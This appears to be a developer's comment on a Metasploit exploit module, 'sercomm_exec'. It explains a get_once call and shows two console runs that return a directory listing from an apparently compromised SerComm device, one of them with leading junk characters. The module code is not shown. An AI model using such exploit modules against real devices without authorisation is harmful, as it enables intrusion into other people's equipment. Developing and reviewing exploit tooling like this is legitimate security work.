The reason I do teh get_once, is to get rid of the junk characters that get printed. For example, here is the execution as the module stands:

```
msf exploit(sercomm_exec) > rexploit
[*] Reloading module...

[*] Result of the command:
drwxr-xr-x    1 1009     1016           75 Apr 14  2010 .svn
lrwxrwxrwx    1 1009     1016            9 Apr 14  2010 bin -> usr/sbin/
drwxr-xr-x    1 0        0               0 Jan  1  1970 dev
lrwxrwxrwx    1 1009     1016            8 Apr 14  2010 etc -> /tmp/etc
drwxr-xr-x    1 1009     1016          489 Apr 14  2010 lib
dr-xr-xr-x   43 0        0               0 Jan  1  2000 proc
lrwxrwxrwx    1 1009     1016            9 Apr 14  2010 sbin -> usr/sbin/
drwxr-xr-x    1 1009     1016          314 Apr 14  2010 sharedband
drwxr-xr-x    4 0        0               0 Jan  3 14:19 tmp
drwxr-xr-x    1 1009     1016           75 Apr 14  2010 usr
lrwxrwxrwx    1 1009     1016            8 Apr 14  2010 var -> /tmp/var
lrwxrwxrwx    1 1009     1016            7 Apr 14  2010 www -> www.eng
drwxr-xr-x    1 1009     1016         3423 Apr 14  2010 www.eng
```

Here is the module if I remove the get_once, and just let the get(3,3) grab the junk characters (Notice the MMcS at the beginning):
```
msf exploit(sercomm_exec) > rexploit
[*] Reloading module...

[*] Result of the command:
MMcSXdrwxr-xr-x    1 1009     1016           75 Apr 14  2010 .svn
lrwxrwxrwx    1 1009     1016            9 Apr 14  2010 bin -> usr/sbin/
drwxr-xr-x    1 0        0               0 Jan  1  1970 dev
lrwxrwxrwx    1 1009     1016            8 Apr 14  2010 etc -> /tmp/etc
drwxr-xr-x    1 1009     1016          489 Apr 14  2010 lib
dr-xr-xr-x   44 0        0               0 Jan  1  2000 proc
lrwxrwxrwx    1 1009     1016            9 Apr 14  2010 sbin -> usr/sbin/
drwxr-xr-x    1 1009     1016          314 Apr 14  2010 sharedband
drwxr-xr-x    4 0        0               0 Jan  3 14:20 tmp
drwxr-xr-x    1 1009     1016           75 Apr 14  2010 usr
lrwxrwxrwx    1 1009     1016            8 Apr 14  2010 var -> /tmp/var
lrwxrwxrwx    1 1009     1016            7 Apr 14  2010 www -> www.eng
drwxr-xr-x    1 1009     1016         3423 Apr 14  2010 www.eng

msf exploit(sercomm_exec) >
```